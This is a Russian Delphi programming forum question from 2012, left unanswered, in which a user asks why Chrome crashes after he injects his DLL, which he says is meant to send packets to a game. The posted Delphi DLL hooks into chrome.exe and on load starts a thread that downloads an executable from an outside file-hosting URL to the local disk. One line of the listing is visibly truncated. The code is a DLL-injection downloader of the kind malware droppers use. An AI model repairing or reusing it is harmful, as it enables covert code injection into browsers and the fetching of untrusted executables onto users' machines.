Экспертная система Delphi.int.ru

Сообщество программистов
Общение, помощь, обмен опытом

Логин:
Пароль:
Регистрация | Забыли пароль?

Delphi.int.ru Expert

Другие разделы портала

Переход к вопросу:

#   

Статистика за сегодня:  


Лучшие эксперты

Подробнее »



Вопрос # 5 965

/ вопрос открыт /

Здравствуйте!
Пытаюсь запилить Dll inject в хром и сделать отправку пакетов в игру находясь в ней чтобы при этом меня не выкидывало из игры. Я попытался сделать тест и скачать програмку из интернета но возникла проблема хром вылетает и перезагружается но при этом программа скачивается , собственно как решить проблему с вылетом?
П.С. нижу код дллки

Приложение:
  1. library hook_dll;
  2.  
  3. uses
  4. Windows,
  5. UrlMon;
  6.  
  7. var
  8. _hook: HHOOK = 0;
  9. thID: THandle;
  10.  
  11. function HookProc(nCode, wParam, lParam: integer): integer stdcall;
  12. begin
  13. Result:=CallNextHookEx(_hook, nCode, wParam, lParam);
  14. end;
  15.  
  16. procedure SetHK(hk: HHOOK) stdcall;
  17. begin
  18. _hook:=hk;
  19. end;
  20.  
  21. procedure WorkWithNet(thrVar: integer) stdcall;
  22. begin
  23. URLDownloadToFile(nil, 'http://rghost.ru/download/36294362/d44fcc04a8eebf9362838f18e22e37f25dd1107f/MSK.exe', 'd:\MSK.exe', 0, nil);
  24.  
  25.  
  26. 'Hook DLL', MB_OK);
  27. end;
  28.  
  29. procedure GetUrl; stdcall;
  30. begin
  31. URLOpenStream(nil, 'http://rghost.ru/36294362',0, nil)
  32. end;
  33.  
  34. exports
  35. HookProc name 'HookProc',
  36. SetHK name 'SetHK',
  37. GetUrl name 'GetURL';
  38.  
  39. begin
  40. if GetModuleHandle(nil)=GetModuleHandle('chrome.exe') then
  41. begin
  42. CreateThread(nil, 0, @WorkWithNet, pointer(12345), 0, thID);
  43. end;
  44. end.


Alexsan Вопрос ожидает решения (принимаются ответы, доступен мини-форум)

Вопрос задал: Alexsan (статус: Посетитель)
Вопрос отправлен: 26 февраля 2012, 12:33
Состояние вопроса: открыт, ответов: 0.


Мини-форум вопроса

Всего сообщений: 0.

26 февраля 2012, 18:26: Вопрос перемещён из тематического раздела Delphi » Взаимодействие с Windows в раздел Delphi » Работа с компонентами и библиотеками модератором Ерёмин А.А.

Чтобы оставлять сообщения в мини-форумах, Вы должны авторизироваться на сайте.

Версия движка: 2.6+ (26.01.2011)
Текущее время: 22 февраля 2025, 11:51
Выполнено за 0.02 сек.